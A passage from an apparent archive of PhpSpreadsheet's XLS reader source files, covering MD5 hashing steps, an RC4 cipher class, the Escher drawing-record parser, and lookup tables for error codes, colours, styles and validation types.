$words[9], 12, 0x8B44F7AF); self::step($F, $C, $D, $A, $B, $words[10], 17, 0xFFFF5BB1); self::step($F, $B, $C, $D, $A, $words[11], 22, 0x895CD7BE); self::step($F, $A, $B, $C, $D, $words[12], 7, 0x6B901122); self::step($F, $D, $A, $B, $C, $words[13], 12, 0xFD987193); self::step($F, $C, $D, $A, $B, $words[14], 17, 0xA679438E); self::step($F, $B, $C, $D, $A, $words[15], 22, 0x49B40821); // ROUND 2 self::step($G, $A, $B, $C, $D, $words[1], 5, 0xF61E2562); self::step($G, $D, $A, $B, $C, $words[6], 9, 0xC040B340); self::step($G, $C, $D, $A, $B, $words[11], 14, 0x265E5A51); self::step($G, $B, $C, $D, $A, $words[0], 20, 0xE9B6C7AA); self::step($G, $A, $B, $C, $D, $words[5], 5, 0xD62F105D); self::step($G, $D, $A, $B, $C, $words[10], 9, 0x02441453); self::step($G, $C, $D, $A, $B, $words[15], 14, 0xD8A1E681); self::step($G, $B, $C, $D, $A, $words[4], 20, 0xE7D3FBC8); self::step($G, $A, $B, $C, $D, $words[9], 5, 0x21E1CDE6); self::step($G, $D, $A, $B, $C, $words[14], 9, 0xC33707D6); self::step($G, $C, $D, $A, $B, $words[3], 14, 0xF4D50D87); self::step($G, $B, $C, $D, $A, $words[8], 20, 0x455A14ED); self::step($G, $A, $B, $C, $D, $words[13], 5, 0xA9E3E905); self::step($G, $D, $A, $B, $C, $words[2], 9, 0xFCEFA3F8); self::step($G, $C, $D, $A, $B, $words[7], 14, 0x676F02D9); self::step($G, $B, $C, $D, $A, $words[12], 20, 0x8D2A4C8A); // ROUND 3 self::step($H, $A, $B, $C, $D, $words[5], 4, 0xFFFA3942); self::step($H, $D, $A, $B, $C, $words[8], 11, 0x8771F681); self::step($H, $C, $D, $A, $B, $words[11], 16, 0x6D9D6122); self::step($H, $B, $C, $D, $A, $words[14], 23, 0xFDE5380C); self::step($H, $A, $B, $C, $D, $words[1], 4, 0xA4BEEA44); self::step($H, $D, $A, $B, $C, $words[4], 11, 0x4BDECFA9); self::step($H, $C, $D, $A, $B, $words[7], 16, 0xF6BB4B60); self::step($H, $B, $C, $D, $A, $words[10], 23, 0xBEBFBC70); self::step($H, $A, $B, $C, $D, $words[13], 4, 0x289B7EC6); self::step($H, $D, $A, $B, $C, $words[0], 11, 0xEAA127FA); self::step($H, $C, $D, $A, $B, $words[3], 16, 0xD4EF3085); self::step($H, $B, $C, $D, $A, $words[6], 23, 0x04881D05); self::step($H, $A, $B, $C, $D, $words[9], 4, 0xD9D4D039); self::step($H, $D, $A, $B, $C, $words[12], 11, 0xE6DB99E5); self::step($H, $C, $D, $A, $B, $words[15], 16, 0x1FA27CF8); self::step($H, $B, $C, $D, $A, $words[2], 23, 0xC4AC5665); // ROUND 4 self::step($I, $A, $B, $C, $D, $words[0], 6, 0xF4292244); self::step($I, $D, $A, $B, $C, $words[7], 10, 0x432AFF97); self::step($I, $C, $D, $A, $B, $words[14], 15, 0xAB9423A7); self::step($I, $B, $C, $D, $A, $words[5], 21, 0xFC93A039); self::step($I, $A, $B, $C, $D, $words[12], 6, 0x655B59C3); self::step($I, $D, $A, $B, $C, $words[3], 10, 0x8F0CCC92); self::step($I, $C, $D, $A, $B, $words[10], 15, 0xFFEFF47D); self::step($I, $B, $C, $D, $A, $words[1], 21, 0x85845DD1); self::step($I, $A, $B, $C, $D, $words[8], 6, 0x6FA87E4F); self::step($I, $D, $A, $B, $C, $words[15], 10, 0xFE2CE6E0); self::step($I, $C, $D, $A, $B, $words[6], 15, 0xA3014314); self::step($I, $B, $C, $D, $A, $words[13], 21, 0x4E0811A1); self::step($I, $A, $B, $C, $D, $words[4], 6, 0xF7537E82); self::step($I, $D, $A, $B, $C, $words[11], 10, 0xBD3AF235); self::step($I, $C, $D, $A, $B, $words[2], 15, 0x2AD7D2BB); self::step($I, $B, $C, $D, $A, $words[9], 21, 0xEB86D391); $this->a = ($this->a + $A) & self::$allOneBits; $this->b = ($this->b + $B) & self::$allOneBits; $this->c = ($this->c + $C) & self::$allOneBits; $this->d = ($this->d + $D) & self::$allOneBits; } private static function f(int $X, int $Y, int $Z): int { return ($X & $Y) | ((~$X) & $Z); // X AND Y OR NOT X AND Z } private static function g(int $X, int $Y, int $Z): int { return ($X & $Z) | ($Y & (~$Z)); // X AND Z OR Y AND NOT Z } private static function h(int $X, int $Y, int $Z): int { return $X ^ $Y ^ $Z; // X XOR Y XOR Z } private static function i(int $X, int $Y, int $Z): int { return $Y ^ ($X | (~$Z)); // Y XOR (X OR NOT Z) } /** @param float|int $t may be float on 32-bit system */ private static function step(callable $func, int &$A, int $B, int $C, int $D, int $M, int $s, $t): void { $t = self::signedInt($t); $A = (int) ($A + call_user_func($func, $B, $C, $D) + $M + $t) & self::$allOneBits; $A = self::rotate($A, $s); $A = (int) ($B + $A) & self::$allOneBits; } /** @param float|int $result may be float on 32-bit system */ private static function signedInt($result): int { return is_int($result) ? $result : (int) (PHP_INT_MIN + $result - 1 - PHP_INT_MAX); } private static function rotate(int $decimal, int $bits): int { $binary = str_pad(decbin($decimal), 32, '0', STR_PAD_LEFT); return self::signedInt(bindec(substr($binary, $bits) . substr($binary, 0, $bits))); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xls/RC4.php000064400000002733151676714400020325 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xls; class RC4 { /** @var int[] */ protected array $s = []; // Context protected int $i = 0; protected int $j = 0; /** * RC4 stream decryption/encryption constrcutor. * * @param string $key Encryption key/passphrase */ public function __construct(string $key) { $len = strlen($key); for ($this->i = 0; $this->i < 256; ++$this->i) { $this->s[$this->i] = $this->i; } $this->j = 0; for ($this->i = 0; $this->i < 256; ++$this->i) { $this->j = ($this->j + $this->s[$this->i] + ord($key[$this->i % $len])) % 256; $t = $this->s[$this->i]; $this->s[$this->i] = $this->s[$this->j]; $this->s[$this->j] = $t; } $this->i = $this->j = 0; } /** * Symmetric decryption/encryption function. * * @param string $data Data to encrypt/decrypt */ public function RC4(string $data): string { $len = strlen($data); for ($c = 0; $c < $len; ++$c) { $this->i = ($this->i + 1) % 256; $this->j = ($this->j + $this->s[$this->i]) % 256; $t = $this->s[$this->i]; $this->s[$this->i] = $this->s[$this->j]; $this->s[$this->j] = $t; $t = ($this->s[$this->i] + $this->s[$this->j]) % 256; $data[$c] = chr(ord($data[$c]) ^ $this->s[$t]); } return $data; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xls/Escher.php000064400000045614151676714400021153 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xls; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Reader\Xls; use PhpOffice\PhpSpreadsheet\Shared\Escher\DgContainer; use PhpOffice\PhpSpreadsheet\Shared\Escher\DgContainer\SpgrContainer; use PhpOffice\PhpSpreadsheet\Shared\Escher\DgContainer\SpgrContainer\SpContainer; use PhpOffice\PhpSpreadsheet\Shared\Escher\DggContainer; use PhpOffice\PhpSpreadsheet\Shared\Escher\DggContainer\BstoreContainer; use PhpOffice\PhpSpreadsheet\Shared\Escher\DggContainer\BstoreContainer\BSE; use PhpOffice\PhpSpreadsheet\Shared\Escher\DggContainer\BstoreContainer\BSE\Blip; class Escher { const DGGCONTAINER = 0xF000; const BSTORECONTAINER = 0xF001; const DGCONTAINER = 0xF002; const SPGRCONTAINER = 0xF003; const SPCONTAINER = 0xF004; const DGG = 0xF006; const BSE = 0xF007; const DG = 0xF008; const SPGR = 0xF009; const SP = 0xF00A; const OPT = 0xF00B; const CLIENTTEXTBOX = 0xF00D; const CLIENTANCHOR = 0xF010; const CLIENTDATA = 0xF011; const BLIPJPEG = 0xF01D; const BLIPPNG = 0xF01E; const SPLITMENUCOLORS = 0xF11E; const TERTIARYOPT = 0xF122; /** * Escher stream data (binary). */ private string $data; /** * Size in bytes of the Escher stream data. */ private int $dataSize; /** * Current position of stream pointer in Escher stream data. */ private int $pos; /** * The object to be returned by the reader. Modified during load. */ private BSE|BstoreContainer|DgContainer|DggContainer|\PhpOffice\PhpSpreadsheet\Shared\Escher|SpContainer|SpgrContainer $object; /** * Create a new Escher instance. */ public function __construct(BSE|BstoreContainer|DgContainer|DggContainer|\PhpOffice\PhpSpreadsheet\Shared\Escher|SpContainer|SpgrContainer $object) { $this->object = $object; } private const WHICH_ROUTINE = [ self::DGGCONTAINER => 'readDggContainer', self::DGG => 'readDgg', self::BSTORECONTAINER => 'readBstoreContainer', self::BSE => 'readBSE', self::BLIPJPEG => 'readBlipJPEG', self::BLIPPNG => 'readBlipPNG', self::OPT => 'readOPT', self::TERTIARYOPT => 'readTertiaryOPT', self::SPLITMENUCOLORS => 'readSplitMenuColors', self::DGCONTAINER => 'readDgContainer', self::DG => 'readDg', self::SPGRCONTAINER => 'readSpgrContainer', self::SPCONTAINER => 'readSpContainer', self::SPGR => 'readSpgr', self::SP => 'readSp', self::CLIENTTEXTBOX => 'readClientTextbox', self::CLIENTANCHOR => 'readClientAnchor', self::CLIENTDATA => 'readClientData', ]; /** * Load Escher stream data. May be a partial Escher stream. */ public function load(string $data): BSE|BstoreContainer|DgContainer|DggContainer|\PhpOffice\PhpSpreadsheet\Shared\Escher|SpContainer|SpgrContainer { $this->data = $data; // total byte size of Excel data (workbook global substream + sheet substreams) $this->dataSize = strlen($this->data); $this->pos = 0; // Parse Escher stream while ($this->pos < $this->dataSize) { // offset: 2; size: 2: Record Type $fbt = Xls::getUInt2d($this->data, $this->pos + 2); $routine = self::WHICH_ROUTINE[$fbt] ?? 'readDefault'; if (method_exists($this, $routine)) { $this->$routine(); } } return $this->object; } /** * Read a generic record. */ private function readDefault(): void { // offset 0; size: 2; recVer and recInstance //$verInstance = Xls::getUInt2d($this->data, $this->pos); // offset: 2; size: 2: Record Type //$fbt = Xls::getUInt2d($this->data, $this->pos + 2); // bit: 0-3; mask: 0x000F; recVer //$recVer = (0x000F & $verInstance) >> 0; $length = Xls::getInt4d($this->data, $this->pos + 4); //$recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; } /** * Read DggContainer record (Drawing Group Container). */ private function readDggContainer(): void { $length = Xls::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; // record is a container, read contents $dggContainer = new DggContainer(); $this->applyAttribute('setDggContainer', $dggContainer); $reader = new self($dggContainer); $reader->load($recordData); } /** * Read Dgg record (Drawing Group). */ private function readDgg(): void { $length = Xls::getInt4d($this->data, $this->pos + 4); //$recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; } /** * Read BstoreContainer record (Blip Store Container). */ private function readBstoreContainer(): void { $length = Xls::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; // record is a container, read contents $bstoreContainer = new BstoreContainer(); $this->applyAttribute('setBstoreContainer', $bstoreContainer); $reader = new self($bstoreContainer); $reader->load($recordData); } /** * Read BSE record. */ private function readBSE(): void { // offset: 0; size: 2; recVer and recInstance // bit: 4-15; mask: 0xFFF0; recInstance $recInstance = (0xFFF0 & Xls::getUInt2d($this->data, $this->pos)) >> 4; $length = Xls::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; // add BSE to BstoreContainer $BSE = new BSE(); $this->applyAttribute('addBSE', $BSE); $BSE->setBLIPType($recInstance); // offset: 0; size: 1; btWin32 (MSOBLIPTYPE) //$btWin32 = ord($recordData[0]); // offset: 1; size: 1; btWin32 (MSOBLIPTYPE) //$btMacOS = ord($recordData[1]); // offset: 2; size: 16; MD4 digest //$rgbUid = substr($recordData, 2, 16); // offset: 18; size: 2; tag //$tag = Xls::getUInt2d($recordData, 18); // offset: 20; size: 4; size of BLIP in bytes //$size = Xls::getInt4d($recordData, 20); // offset: 24; size: 4; number of references to this BLIP //$cRef = Xls::getInt4d($recordData, 24); // offset: 28; size: 4; MSOFO file offset //$foDelay = Xls::getInt4d($recordData, 28); // offset: 32; size: 1; unused1 //$unused1 = ord($recordData[32]); // offset: 33; size: 1; size of nameData in bytes (including null terminator) $cbName = ord($recordData[33]); // offset: 34; size: 1; unused2 //$unused2 = ord($recordData[34]); // offset: 35; size: 1; unused3 //$unused3 = ord($recordData[35]); // offset: 36; size: $cbName; nameData //$nameData = substr($recordData, 36, $cbName); // offset: 36 + $cbName, size: var; the BLIP data $blipData = substr($recordData, 36 + $cbName); // record is a container, read contents $reader = new self($BSE); $reader->load($blipData); } /** * Read BlipJPEG record. Holds raw JPEG image data. */ private function readBlipJPEG(): void { // offset: 0; size: 2; recVer and recInstance // bit: 4-15; mask: 0xFFF0; recInstance $recInstance = (0xFFF0 & Xls::getUInt2d($this->data, $this->pos)) >> 4; $length = Xls::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; $pos = 0; // offset: 0; size: 16; rgbUid1 (MD4 digest of) //$rgbUid1 = substr($recordData, 0, 16); $pos += 16; // offset: 16; size: 16; rgbUid2 (MD4 digest), only if $recInstance = 0x46B or 0x6E3 if (in_array($recInstance, [0x046B, 0x06E3])) { //$rgbUid2 = substr($recordData, 16, 16); $pos += 16; } // offset: var; size: 1; tag //$tag = ord($recordData[$pos]); ++$pos; // offset: var; size: var; the raw image data $data = substr($recordData, $pos); $blip = new Blip(); $blip->setData($data); $this->applyAttribute('setBlip', $blip); } /** * Read BlipPNG record. Holds raw PNG image data. */ private function readBlipPNG(): void { // offset: 0; size: 2; recVer and recInstance // bit: 4-15; mask: 0xFFF0; recInstance $recInstance = (0xFFF0 & Xls::getUInt2d($this->data, $this->pos)) >> 4; $length = Xls::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; $pos = 0; // offset: 0; size: 16; rgbUid1 (MD4 digest of) //$rgbUid1 = substr($recordData, 0, 16); $pos += 16; // offset: 16; size: 16; rgbUid2 (MD4 digest), only if $recInstance = 0x46B or 0x6E3 if ($recInstance == 0x06E1) { //$rgbUid2 = substr($recordData, 16, 16); $pos += 16; } // offset: var; size: 1; tag //$tag = ord($recordData[$pos]); ++$pos; // offset: var; size: var; the raw image data $data = substr($recordData, $pos); $blip = new Blip(); $blip->setData($data); $this->applyAttribute('setBlip', $blip); } /** * Read OPT record. This record may occur within DggContainer record or SpContainer. */ private function readOPT(): void { // offset: 0; size: 2; recVer and recInstance // bit: 4-15; mask: 0xFFF0; recInstance $recInstance = (0xFFF0 & Xls::getUInt2d($this->data, $this->pos)) >> 4; $length = Xls::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; $this->readOfficeArtRGFOPTE($recordData, $recInstance); } /** * Read TertiaryOPT record. */ private function readTertiaryOPT(): void { // offset: 0; size: 2; recVer and recInstance // bit: 4-15; mask: 0xFFF0; recInstance //$recInstance = (0xFFF0 & Xls::getUInt2d($this->data, $this->pos)) >> 4; $length = Xls::getInt4d($this->data, $this->pos + 4); //$recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; } /** * Read SplitMenuColors record. */ private function readSplitMenuColors(): void { $length = Xls::getInt4d($this->data, $this->pos + 4); //$recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; } /** * Read DgContainer record (Drawing Container). */ private function readDgContainer(): void { $length = Xls::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; // record is a container, read contents $dgContainer = new DgContainer(); $this->applyAttribute('setDgContainer', $dgContainer); $reader = new self($dgContainer); $reader->load($recordData); } /** * Read Dg record (Drawing). */ private function readDg(): void { $length = Xls::getInt4d($this->data, $this->pos + 4); //$recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; } /** * Read SpgrContainer record (Shape Group Container). */ private function readSpgrContainer(): void { // context is either context DgContainer or SpgrContainer $length = Xls::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; // record is a container, read contents $spgrContainer = new SpgrContainer(); if ($this->object instanceof DgContainer) { // DgContainer $this->object->setSpgrContainer($spgrContainer); } elseif ($this->object instanceof SpgrContainer) { // SpgrContainer $this->object->addChild($spgrContainer); } $reader = new self($spgrContainer); $reader->load($recordData); } /** * Read SpContainer record (Shape Container). */ private function readSpContainer(): void { $length = Xls::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // add spContainer to spgrContainer $spContainer = new SpContainer(); $this->applyAttribute('addChild', $spContainer); // move stream pointer to next record $this->pos += 8 + $length; // record is a container, read contents $reader = new self($spContainer); $reader->load($recordData); } /** * Read Spgr record (Shape Group). */ private function readSpgr(): void { $length = Xls::getInt4d($this->data, $this->pos + 4); //$recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; } /** * Read Sp record (Shape). */ private function readSp(): void { // offset: 0; size: 2; recVer and recInstance // bit: 4-15; mask: 0xFFF0; recInstance //$recInstance = (0xFFF0 & Xls::getUInt2d($this->data, $this->pos)) >> 4; $length = Xls::getInt4d($this->data, $this->pos + 4); //$recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; } /** * Read ClientTextbox record. */ private function readClientTextbox(): void { // offset: 0; size: 2; recVer and recInstance // bit: 4-15; mask: 0xFFF0; recInstance //$recInstance = (0xFFF0 & Xls::getUInt2d($this->data, $this->pos)) >> 4; $length = Xls::getInt4d($this->data, $this->pos + 4); //$recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; } /** * Read ClientAnchor record. This record holds information about where the shape is anchored in worksheet. */ private function readClientAnchor(): void { $length = Xls::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; // offset: 2; size: 2; upper-left corner column index (0-based) $c1 = Xls::getUInt2d($recordData, 2); // offset: 4; size: 2; upper-left corner horizontal offset in 1/1024 of column width $startOffsetX = Xls::getUInt2d($recordData, 4); // offset: 6; size: 2; upper-left corner row index (0-based) $r1 = Xls::getUInt2d($recordData, 6); // offset: 8; size: 2; upper-left corner vertical offset in 1/256 of row height $startOffsetY = Xls::getUInt2d($recordData, 8); // offset: 10; size: 2; bottom-right corner column index (0-based) $c2 = Xls::getUInt2d($recordData, 10); // offset: 12; size: 2; bottom-right corner horizontal offset in 1/1024 of column width $endOffsetX = Xls::getUInt2d($recordData, 12); // offset: 14; size: 2; bottom-right corner row index (0-based) $r2 = Xls::getUInt2d($recordData, 14); // offset: 16; size: 2; bottom-right corner vertical offset in 1/256 of row height $endOffsetY = Xls::getUInt2d($recordData, 16); $this->applyAttribute('setStartCoordinates', Coordinate::stringFromColumnIndex($c1 + 1) . ($r1 + 1)); $this->applyAttribute('setStartOffsetX', $startOffsetX); $this->applyAttribute('setStartOffsetY', $startOffsetY); $this->applyAttribute('setEndCoordinates', Coordinate::stringFromColumnIndex($c2 + 1) . ($r2 + 1)); $this->applyAttribute('setEndOffsetX', $endOffsetX); $this->applyAttribute('setEndOffsetY', $endOffsetY); } private function applyAttribute(string $name, mixed $value): void { if (method_exists($this->object, $name)) { $this->object->$name($value); } } /** * Read ClientData record. */ private function readClientData(): void { $length = Xls::getInt4d($this->data, $this->pos + 4); //$recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; } /** * Read OfficeArtRGFOPTE table of property-value pairs. * * @param string $data Binary data * @param int $n Number of properties */ private function readOfficeArtRGFOPTE(string $data, int $n): void { $splicedComplexData = substr($data, 6 * $n); // loop through property-value pairs for ($i = 0; $i < $n; ++$i) { // read 6 bytes at a time $fopte = substr($data, 6 * $i, 6); // offset: 0; size: 2; opid $opid = Xls::getUInt2d($fopte, 0); // bit: 0-13; mask: 0x3FFF; opid.opid $opidOpid = (0x3FFF & $opid) >> 0; // bit: 14; mask 0x4000; 1 = value in op field is BLIP identifier //$opidFBid = (0x4000 & $opid) >> 14; // bit: 15; mask 0x8000; 1 = this is a complex property, op field specifies size of complex data $opidFComplex = (0x8000 & $opid) >> 15; // offset: 2; size: 4; the value for this property $op = Xls::getInt4d($fopte, 2); if ($opidFComplex) { $complexData = substr($splicedComplexData, 0, $op); $splicedComplexData = substr($splicedComplexData, $op); // we store string value with complex data $value = $complexData; } else { // we store integer value $value = $op; } if (method_exists($this->object, 'setOPT')) { $this->object->setOPT($opidOpid, $value); } } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xls/ErrorCode.php000064400000000733151676714400021617 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xls; class ErrorCode { private const ERROR_CODE_MAP = [ 0x00 => '#NULL!', 0x07 => '#DIV/0!', 0x0F => '#VALUE!', 0x17 => '#REF!', 0x1D => '#NAME?', 0x24 => '#NUM!', 0x2A => '#N/A', ]; /** * Map error code, e.g. '#N/A'. */ public static function lookup(int $code): string|bool { return self::ERROR_CODE_MAP[$code] ?? false; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xls/Color.php000064400000001610151676714400021004 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xls; use PhpOffice\PhpSpreadsheet\Reader\Xls; class Color { /** * Read color. * * @param int $color Indexed color * @param array $palette Color palette * * @return array RGB color value, example: ['rgb' => 'FF0000'] */ public static function map(int $color, array $palette, int $version): array { if ($color <= 0x07 || $color >= 0x40) { // special built-in color return Color\BuiltIn::lookup($color); } elseif (isset($palette[$color - 8])) { // palette color, color index 0x08 maps to pallete index 0 return $palette[$color - 8]; } // default color table if ($version == Xls::XLS_BIFF8) { return Color\BIFF8::lookup($color); } // BIFF5 return Color\BIFF5::lookup($color); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xls/ConditionalFormatting.php000064400000002337151676714400024233 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xls; use PhpOffice\PhpSpreadsheet\Style\Conditional; class ConditionalFormatting { /** * @var array<int, string> */ private static array $types = [ 0x01 => Conditional::CONDITION_CELLIS, 0x02 => Conditional::CONDITION_EXPRESSION, ]; /** * @var array<int, string> */ private static array $operators = [ 0x00 => Conditional::OPERATOR_NONE, 0x01 => Conditional::OPERATOR_BETWEEN, 0x02 => Conditional::OPERATOR_NOTBETWEEN, 0x03 => Conditional::OPERATOR_EQUAL, 0x04 => Conditional::OPERATOR_NOTEQUAL, 0x05 => Conditional::OPERATOR_GREATERTHAN, 0x06 => Conditional::OPERATOR_LESSTHAN, 0x07 => Conditional::OPERATOR_GREATERTHANOREQUAL, 0x08 => Conditional::OPERATOR_LESSTHANOREQUAL, ]; public static function type(int $type): ?string { if (isset(self::$types[$type])) { return self::$types[$type]; } return null; } public static function operator(int $operator): ?string { if (isset(self::$operators[$operator])) { return self::$operators[$operator]; } return null; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xls/DataValidationHelper.php000064400000003624151676714400023761 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xls; use PhpOffice\PhpSpreadsheet\Cell\DataValidation; class DataValidationHelper { /** * @var array<int, string> */ private static array $types = [ 0x00 => DataValidation::TYPE_NONE, 0x01 => DataValidation::TYPE_WHOLE, 0x02 => DataValidation::TYPE_DECIMAL, 0x03 => DataValidation::TYPE_LIST, 0x04 => DataValidation::TYPE_DATE, 0x05 => DataValidation::TYPE_TIME, 0x06 => DataValidation::TYPE_TEXTLENGTH, 0x07 => DataValidation::TYPE_CUSTOM, ]; /** * @var array<int, string> */ private static array $errorStyles = [ 0x00 => DataValidation::STYLE_STOP, 0x01 => DataValidation::STYLE_WARNING, 0x02 => DataValidation::STYLE_INFORMATION, ]; /** * @var array<int, string> */ private static array $operators = [ 0x00 => DataValidation::OPERATOR_BETWEEN, 0x01 => DataValidation::OPERATOR_NOTBETWEEN, 0x02 => DataValidation::OPERATOR_EQUAL, 0x03 => DataValidation::OPERATOR_NOTEQUAL, 0x04 => DataValidation::OPERATOR_GREATERTHAN, 0x05 => DataValidation::OPERATOR_LESSTHAN, 0x06 => DataValidation::OPERATOR_GREATERTHANOREQUAL, 0x07 => DataValidation::OPERATOR_LESSTHANOREQUAL, ]; public static function type(int $type): ?string { if (isset(self::$types[$type])) { return self::$types[$type]; } return null; } public static function errorStyle(int $errorStyle): ?string { if (isset(self::$errorStyles[$errorStyle])) { return self::$errorStyles[$errorStyle]; } return null; } public static function operator(int $operator): ?string { if (isset(self::$operators[$operator])) { return self::$operators[$operator]; } return null; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xls/Style/CellAlignment.php000064400000002673151676714400023556 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xls\Style; use PhpOffice\PhpSpreadsheet\Style\Alignment; class CellAlignment { /** * @var array<int, string> */ protected static array $horizontalAlignmentMap = [ 0 => Alignment::HORIZONTAL_GENERAL, 1 => Alignment::HORIZONTAL_LEFT, 2 => Alignment::HORIZONTAL_CENTER, 3 => Alignment::HORIZONTAL_RIGHT, 4 => Alignment::HORIZONTAL_FILL, 5 => Alignment::HORIZONTAL_JUSTIFY, 6 => Alignment::HORIZONTAL_CENTER_CONTINUOUS, ]; /** * @var array<int, string> */ protected static array $verticalAlignmentMap = [ 0 => Alignment::VERTICAL_TOP, 1 => Alignment::VERTICAL_CENTER, 2 => Alignment::VERTICAL_BOTTOM, 3 => Alignment::VERTICAL_JUSTIFY, ]; public static function horizontal(Alignment $alignment, int $horizontal): void { if (array_key_exists($horizontal, self::$horizontalAlignmentMap)) { $alignment->setHorizontal(self::$horizontalAlignmentMap[$horizontal]); } } public static function vertical(Alignment $alignment, int $vertical): void { if (array_key_exists($vertical, self::$verticalAlignmentMap)) { $alignment->setVertical(self::$verticalAlignmentMap[$vertical]); } } public static function wrap(Alignment $alignment, int $wrap): void { $alignment->setWrapText((bool) $wrap); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xls/Style/FillPattern.php000064400000002560151676714400023257 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xls\Style; use PhpOffice\PhpSpreadsheet\Style\Fill; class FillPattern { /** * @var array<int, string> */ protected static array $fillPatternMap = [ 0x00 => Fill::FILL_NONE, 0x01 => Fill::FILL_SOLID, 0x02 => Fill::FILL_PATTERN_MEDIUMGRAY, 0x03 => Fill::FILL_PATTERN_DARKGRAY, 0x04 => Fill::FILL_PATTERN_LIGHTGRAY, 0x05 => Fill::FILL_PATTERN_DARKHORIZONTAL, 0x06 => Fill::FILL_PATTERN_DARKVERTICAL, 0x07 => Fill::FILL_PATTERN_DARKDOWN, 0x08 => Fill::FILL_PATTERN_DARKUP, 0x09 => Fill::FILL_PATTERN_DARKGRID, 0x0A => Fill::FILL_PATTERN_DARKTRELLIS, 0x0B => Fill::FILL_PATTERN_LIGHTHORIZONTAL, 0x0C => Fill::FILL_PATTERN_LIGHTVERTICAL, 0x0D => Fill::FILL_PATTERN_LIGHTDOWN, 0x0E => Fill::FILL_PATTERN_LIGHTUP, 0x0F => Fill::FILL_PATTERN_LIGHTGRID, 0x10 => Fill::FILL_PATTERN_LIGHTTRELLIS, 0x11 => Fill::FILL_PATTERN_GRAY125, 0x12 => Fill::FILL_PATTERN_GRAY0625, ]; /** * Get fill pattern from index * OpenOffice documentation: 2.5.12. */ public static function lookup(int $index): string { if (isset(self::$fillPatternMap[$index])) { return self::$fillPatternMap[$index]; } return Fill::FILL_NONE; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xls/Style/CellFont.php000064400000001653151676714400022543 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xls\Style; use PhpOffice\PhpSpreadsheet\Style\Font; class CellFont { public static function escapement(Font $font, int $escapement): void { switch ($escapement) { case 0x0001: $font->setSuperscript(true); break; case 0x0002: $font->setSubscript(true); break; } } /** * @var array<int, string> */ protected static array $underlineMap = [ 0x01 => Font::UNDERLINE_SINGLE, 0x02 => Font::UNDERLINE_DOUBLE, 0x21 => Font::UNDERLINE_SINGLEACCOUNTING, 0x22 => Font::UNDERLINE_DOUBLEACCOUNTING, ]; public static function underline(Font $font, int $underline): void { if (array_key_exists($underline, self::$underlineMap)) { $font->setUnderline(self::$underlineMap[$underline]); } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xls/Style/Border.php000064400000002116151676714400022245 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xls\Style; use PhpOffice\PhpSpreadsheet\Style\Border as StyleBorder; class Border { /** * @var array<int, string> */ protected static array $borderStyleMap = [ 0x00 => StyleBorder::BORDER_NONE, 0x01 => StyleBorder::BORDER_THIN, 0x02 => StyleBorder::BORDER_MEDIUM, 0x03 => StyleBorder::BORDER_DASHED, 0x04 => StyleBorder::BORDER_DOTTED, 0x05 => StyleBorder::BORDER_THICK, 0x06 => StyleBorder::BORDER_DOUBLE, 0x07 => StyleBorder::BORDER_HAIR, 0x08 => StyleBorder::BORDER_MEDIUMDASHED, 0x09 => StyleBorder::BORDER_DASHDOT, 0x0A => StyleBorder::BORDER_MEDIUMDASHDOT, 0x0B => StyleBorder::BORDER_DASHDOTDOT, 0x0C => StyleBorder::BORDER_MEDIUMDASHDOTDOT, 0x0D => 